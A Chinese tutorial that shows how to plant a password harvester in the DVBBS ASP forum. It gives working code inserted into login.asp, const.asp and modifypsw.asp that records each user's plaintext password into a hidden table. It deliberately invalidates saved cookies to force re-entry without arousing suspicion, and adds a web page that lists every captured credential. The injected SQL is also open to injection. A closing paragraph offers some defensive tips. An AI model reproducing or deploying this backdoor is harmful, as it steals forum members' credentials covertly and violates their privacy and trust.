为动网论坛添加一个密码嗅探器(DVBBS)

动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜。很多人都把它作为自己论坛的最佳首选。但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码。再数据库中只能查询了加密后的结果。

先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同。如果相同,登陆成功,将个人信息保存在COOKIE中。

现在我们要自己动手,为论坛增加一项记录密码的功能。

查看它登陆系统的文件 login.asp 的源文件。验证过程是直接调用chklogin() 函数的。跟进chklogin() 函数,可以看到前面几句是检查用户是否完整输入,接着就是:

password=md5(trim(checkStr(request("password"))))

就是这句调用了MD5加密函数,对用户提交的密码加密。我们要记录未加密的代码,就需要把自己的代码加到这一句的前面。先别急着写代码,因为我们要把密码存贮在数据库中,所以要先在数据库中假如我们自己的表。

打开动网的数据库文件,因为我们只要在这个表中保存两项内容:用户名和密码,所以打开“使用设计器创建表”,字段名称分别输入user,pass,数据类型为文本。然后保存表,取名为hacker。

下面我们就可以在ASP程序中使用SQL命令,把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句:

‘先查询数据库,检查该用户的密码是否已经被记录,以避免重复添加

set rs=conn.execute("select user from hacker where user="&request("username")&"")

if rs.eof and rs.bof then

‘如果没有,就把用户名和密码插入到我们刚才创建的表中

sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"

conn.execute(sql)

rs.close

else

end if

通过上面的代码,用户每次登陆的时候,用户名和密码就都会被自动添加到我们创建的表hacker中去了。

但是,动网论坛还有个功能,就是可以利用COOKIE保存登陆信息一天,一个月,或者一年,这样就不用每次访问都要输入账号了,当然我们也不想让这一部分用户的密码漏掉,所以我们要想办法让它的COOKIE失效,这样他就必须通过我们修改过的文件登陆了。

动网论坛对COOKIE检查的代码是保存在 \INC\const.asp 文件中的,我们打开查看它的源文件。

membername=checkStr(request.cookies("aspsky")("username"))

memberclass=checkStr(request.cookies("aspsky")("userclass"))

memberword=checkStr(request.cookies("aspsky")("password"))

[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的,我们只要改变任意一个变量,就可让它的登陆失效。我就在第二句后面添加了下面这几句代码:

‘检查用户的账号是否已经被记录,如果没有,修改它的密码变量为用户名

set rs=conn.execute("select user from hacker where user="&membername&"")

if rs.eof and rs.bof then

memberword=checkStr(request.cookies("aspsky")("username"))

rs.close

else

‘如果已经被记录了,COOKIE验证一切正常,这样也就不会因为COOKIE彻底失效而引起用户的怀疑

memberword=checkStr(request.cookies("aspsky")("password"))

end if

记录用户账号的代码我们基本上就完成了,只要用户一登陆,他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点,就是如果用户修改了密码,我们记录的密码就过期了,我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp

rs("userpassword")=password

rs("quesion")=quesion

rs("answer")=answer

rs.Update

上面这段代码就是更新密码的代码了。我们分析一下:只有用户登陆后才可以修改密码,既然登陆了,我们的数据库中就一定记录得他的密码,所以不管他密码改成什么,我们只需要更新一下我们的数据库就行了,所以在上面这四句代码前面,加上下面这两句:

[$nbsp][$nbsp]‘注意,这里我们之所以不用变量password,因为它是经过MD5加密的结果

sql = "update hacker set pass="&request("psw")&" where user="&membername&""

conn.execute(sql)

最后我们不可能每次打开数据库去查询用户的密码,所以我们还要自己写一个asp程序,用来通过WEB界面查询用户的密码。

下面是我自己写的asp代码,借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。

<!--#include file="conn.asp"-->

<!--#include file="inc/const.asp" -->

<%

‘动网用来模糊查询的函数translate()

public function translate(sourceStr,fieldStr)

[$nbsp][$nbsp]dim sourceList

[$nbsp][$nbsp]dim resultStr

[$nbsp][$nbsp]dim i,j

[$nbsp][$nbsp]if instr(sourceStr," ")>0 then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "<br>"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]for i = 0 to ubound(sourceList)

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write i

[$nbsp][$nbsp][$nbsp][$nbsp]Select Case ucase(sourceList(i))

[$nbsp][$nbsp][$nbsp][$nbsp]Case "AND","&","和","与"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " and "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp]Case "OR","|","或"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " or "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp]Case "NOT","!","非","!","!"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " not "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp]Case "(","(","("

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ( "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp]Case ")",")",")"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr & " ) "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true

[$nbsp][$nbsp][$nbsp][$nbsp]Case Else

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if sourceList(i)<>"" then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if not isOperator then resultStr=resultStr & " and "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourceList(i),"%") > 0 then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like " & replace(sourceList(i),"","") & " "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]resultStr=resultStr&" "&fieldStr& " like %" & replace(sourceList(i),"","") & "% "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]end if

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator=false

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if

[$nbsp][$nbsp][$nbsp][$nbsp]End Select

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.write resultStr+"<br>"

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]next

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=resultStr

[$nbsp][$nbsp]else 单条件

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]if inStr(sourcestr,"%") > 0 then

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like " & replace(sourceStr,"","") &" "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]else

[$nbsp][$nbsp][$nbsp][$nbsp]translate=" " & fieldStr & " like %" & replace(sourceStr,"","") &"% "

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]End if

[$nbsp][$nbsp]end if

end function

%>

<%

‘检查是否使用模糊查询,如果是,查询数据库

if request.form("id") <> "" then

dim key

key = request.form("id")

set rs=conn.execute("select user,pass from hacker where (" & translate(key,"user") & ")")

‘检查是否查询所有账号,如果是,查询所有记录

else if request.querystring("id") <> "all" then

else

set rs=conn.execute("select * from hacker")

end if

end if

%>

<div align="center">

[$nbsp][$nbsp]<p><strong>查询密码</strong></p>

[$nbsp][$nbsp]<form name="form1" method="post" action="">

[$nbsp][$nbsp][$nbsp][$nbsp]用户名:

[$nbsp][$nbsp][$nbsp][$nbsp]<input name="id" type="text" size="12">

[$nbsp][$nbsp][$nbsp][$nbsp]  

[$nbsp][$nbsp][$nbsp][$nbsp]<input type="submit" name="Submit" value="搜索">

[$nbsp][$nbsp]</form>

[$nbsp][$nbsp]<p><a href="test.asp?id=all">显示全部 </a></p>

[$nbsp][$nbsp]<table width="300" border="1" cellspacing="0" cellpadding="0">

<%

‘检查是否查询账号,如果没有显示请选择查询方式,否则显示结果

if request.querystring("id") <> "" or request.form("id") <> "" then %><tr>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">用户名</div></td>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td width="150"><div align="center">密码</div></td>

[$nbsp][$nbsp][$nbsp][$nbsp]</tr>

<% Do while (not rs.eof) %><tr>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("user") %></td>

[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<td><% =rs("pass") %></td>

[$nbsp][$nbsp][$nbsp][$nbsp]</tr>

[$nbsp][$nbsp]<% rs.MoveNext

[$nbsp][$nbsp] Loop

[$nbsp][$nbsp] rs.close

[$nbsp][$nbsp]else

[$nbsp][$nbsp]response.write("<tr><td><center>请选择查询方式</center></td></tr>")

[$nbsp][$nbsp]end if

[$nbsp][$nbsp] %>

[$nbsp][$nbsp]</table>

</div>

[$nbsp][$nbsp][$nbsp][$nbsp]

其它的一些思考:

如果服务器被黑客入侵,我们也必须防范论坛被修改,成为别人获取密码的工具,所以我们要考虑到黑客常用的手段。

首先是数据库,我们要随时检查数据库是否完整,而且要做到及时辈分。现在网络上流行一种把数据库后缀名改为asp,数据库中再加入一个不可删除的表,可以有效的防止数据库被别人下载。换一种角度来说,黑客很有可能把他自己的数据库文件后缀名改为asp,从而掩藏在众多的文件中。而一般没有经验的管理员是很难发现的,所以要定期对整个网站的文件进行检查,如果无故多出来的asp文件,很有可能是只背后的黑手。

黑客不仅可以放上自己的asp文件,聪明的黑客还会把自己的asp文件隐藏在已有的asp文件中。利用浏览器可以向asp文件传送querystring变量,如果asp中设定一个条件语句:if query.string(“变量”) = “” then…… 这个简单的方法可以说是防不胜防。一般的管理员由于数据库的便捷,是很少考虑到检查服务器上的文件是否被修改的。所以定期检查文件是否被修改也是非常有必要的。

(0)

相关推荐

  • 基于Webshell的sniffer可行性研究(图)

    前言: 幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过. 我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的. 实验环境: Windows2003服务器+海洋2006+serv-u5.2 服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令. 实验步骤: 1.

  • 宽带上网环境中的Sniffer攻防实例

    似乎有很多介绍宽带上网安全的文章,但往往提到的是木马.IE的漏洞之类的问题,殊不知有一类更危险的问题却好像未被用户注意,甚至不为防火墙所重视,但是一旦被人入侵却可以随意共享你的所有驱动器和其中的文件,而且实现起来是如此的简单.是何危险?且听我慢慢道来. 思考 近来我正在装修新居,这两天考虑到新家的局域网的网络结构,因为我早使用上了有线通,到时候肯定移机过去,所以现在有两种方案能被我考虑: 1.CABLE MODEM--HUB--各台主机: 2.CABLE MODEM--服务器(软路由)--HUB

  • javaScript嗅探执行神器-sniffer.js

    一.热身--先看实战代码 a.js 文件 // 定义Wall及内部方法 ;(function(window, FUNC, undefined){ var name = 'wall'; Wall.say = function(name){ console.log('I\'m '+ name +' !'); }; Wall.message = { getName : function(){ return name; }, setName : function(firstName, secondNam

  • Php做的端口嗅探器--可以指定网站和端口

    <?   //Php做的端口嗅探器--可以指定网站和端口 //并返回嗅探结果     function http_request($server, $port) {     $data = "";     $query = "HEAD / HTTP/1.0";     $fp = fsockopen($server, $port);     if($fp) {     fputs($fp, $query."rnn");     while(

  • 为动网论坛添加一个密码嗅探器(DVBBS)

    动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜.很多人都把它作为自己论坛的最佳首选.但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码.再数据库中只能查询了加密后的结果. 先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同.如果相同,登陆成功,将个人信息保存在COOKIE中. 现在我们要自己动手,为论坛增加一项记录密码的功能. 查看它登

  • 动网论坛验证码改进 加法验证码(ASPJpeg版)

    来看看效果图对比:字符验证码: → 加法验证码:优点: ①与纯字符验证码相比,本程序效防止了绝大部分(99%以上)广告机的自动识别.即使是中文验证码,也能被市面上的部分广告机识别. ②与中文验证码相比,避免了用户输入用户名密码验证码的时候需要切换输入法的麻烦. 有兴趣的朋友,还可以扩展为其他的运算,比如乘法,减法,乘方等. 使用方法:将以下代码保存为Dv_GetCode.asp文件,替换动网论坛的该文件.背景色.字体颜色可在代码中修改. 说明:该程序需要网站空间支持ASPJpeg组件.楷体_GB

  • 问题收集帖动网论坛完整程序包下载地址(包含所有补丁)

    问题收集帖动网论坛完整程序包下载地址(包含所有补丁) Dvbbs7.1.0_Ac.exe 动网论坛完整程序包下载地址(包含所有补丁) Dvbbs7.1.0_Ac.exe动网论坛[05.23]更新补丁下载地址 Q20060430.exe(含重要更新) 为什么我用了5.1的更新后,不能播放多媒体文件,变成乱码了?进入论坛后台--基本设置--系统设置脚本扩展过滤设置里含对"object"或"EMBED"的过滤,此过滤现在可以去掉了,因为新的机制已经对它做了过滤,将这里改为

  • ASP类型网站结合动网论坛会员的方法第1/3页

    个人网站如有会员注册模块+动网论坛的话,那网站要与动网论坛系统整合,实现不同Web系统之间的用户信息同步更新.登录等操作就不是件容易的事了,虽然动网已提供有详细的"动网论坛系统Api接口开发人员指南",但像我这样的菜鸟一时半会可是参详不透的,汗.不甘心,在对其登录.验证等函数进行一番研究再加以测试后最终竟也小有所成,菜鸟也有菜鸟的办法,哈哈. 一.网站文件结构 wwwroot   ┝ index.asp   ┝ CheckUserLogin.asp   ┕ bbs/ 二.整合原理 对于

  • 动网论坛的asp 数据库连接代码

    复制代码 代码如下: <%@LANGUAGE="VBSCRIPT"%> <% option explicit dim startime,endtime,conn,strCon,db startime=timer() Dim strSQLServerName Dim strSQLDBUserName Dim strSQLDBPassword Dim strSQLDBName '请填写数据库具体参数 '-----------------------------------

  • 最新版本的动易+动网+oBlog三站整合方法

    我用的是最新版本的动易PE_2006_SP5 +动网dvbbs7.1.0 + oBlog 4.0.  我的测试情况:1.可以同步注册.2.可以同步删除用户ID.3.不像帖子里说的可以同步登陆.(可能是我的COOKIES问题,有在用的测试一下哈)4.可以同步修改密码. 1.准备工作,下载并安装三个系统,并使各自均能独立运行. (1).打开动易压缩包 PowerEasy_CMS2006_SP4_Express.rar或PowerEasy_eShop2006_SP4_Express.rar,运行Pow

  • ASP个人网站与动网整合非官方方法

    虽然动网已提供有详细的"动网论坛系统Api接口开发人员指南",但像我这样的菜鸟一时半会可是参详不透的,汗.不甘心,在对其登录.验证等函数进行一番研究再加以测试后最终竟也小有所成,菜鸟也有菜鸟的办法: 本次测试的论坛版本为Version 7.1.0 Sp1,未对其他版本做进行测试 一.网站文件结构 wwwroot    ┝ index.asp    ┝ CheckUserLogin.asp    ┕ bbs/ 二.整合原理 对于同步更新实现不困难,整合主要问题就是难在同步登录,所以我们的

  • 新思路现动网新漏洞

    作者:优格GXU 文章来源:邪恶八进制信息安全团队 文章作者:优格[GXU] (www.wuzhou.org) 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 原文下载:http://www.wuzhou.org/dvbbs.doc 前段时间focn等人发现了动网的提权漏洞,这漏洞可是闹得天翻地覆的,连当当网论坛也给挂上马了.正是这个漏洞盖住了动网的其他漏洞,使动网的其他漏洞少为人知. 相信大家都看过<终结动网最新挂马方法!>的文章了,其实这个漏洞已经出现了大概半月了,

  • 动网dvbbs7.1论坛权限提升漏洞及防范(图)

    在6月份的黑防上看到<动网7.1漏洞惊现江湖>一文,说是admin_postings.asp文件 存在注入漏洞,但利用的前提是拥有超级斑竹或前台管理员权限.我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用.这个前台权限提升漏洞对7.x的Access和 Sql版都有效.下面我们就以7.0 sp2 sql版,讲解这个漏洞的利用. 漏洞分析 我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限.它是如何取得这个GroupID的呢?让

  • 动网7.x权限提升漏洞原理

    在6月份的黑防上看到<动网7.1漏洞惊现江湖>一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级版主或前台管理员权限.我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用.这个前台权限提升漏洞对7.x的Access和 SQL版都有效.下面我们就以7.0 SP2 SQL版,讲解这个漏洞的利用. 漏洞分析: 我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限.它是如何取得这个GroupID的呢?让

随机推荐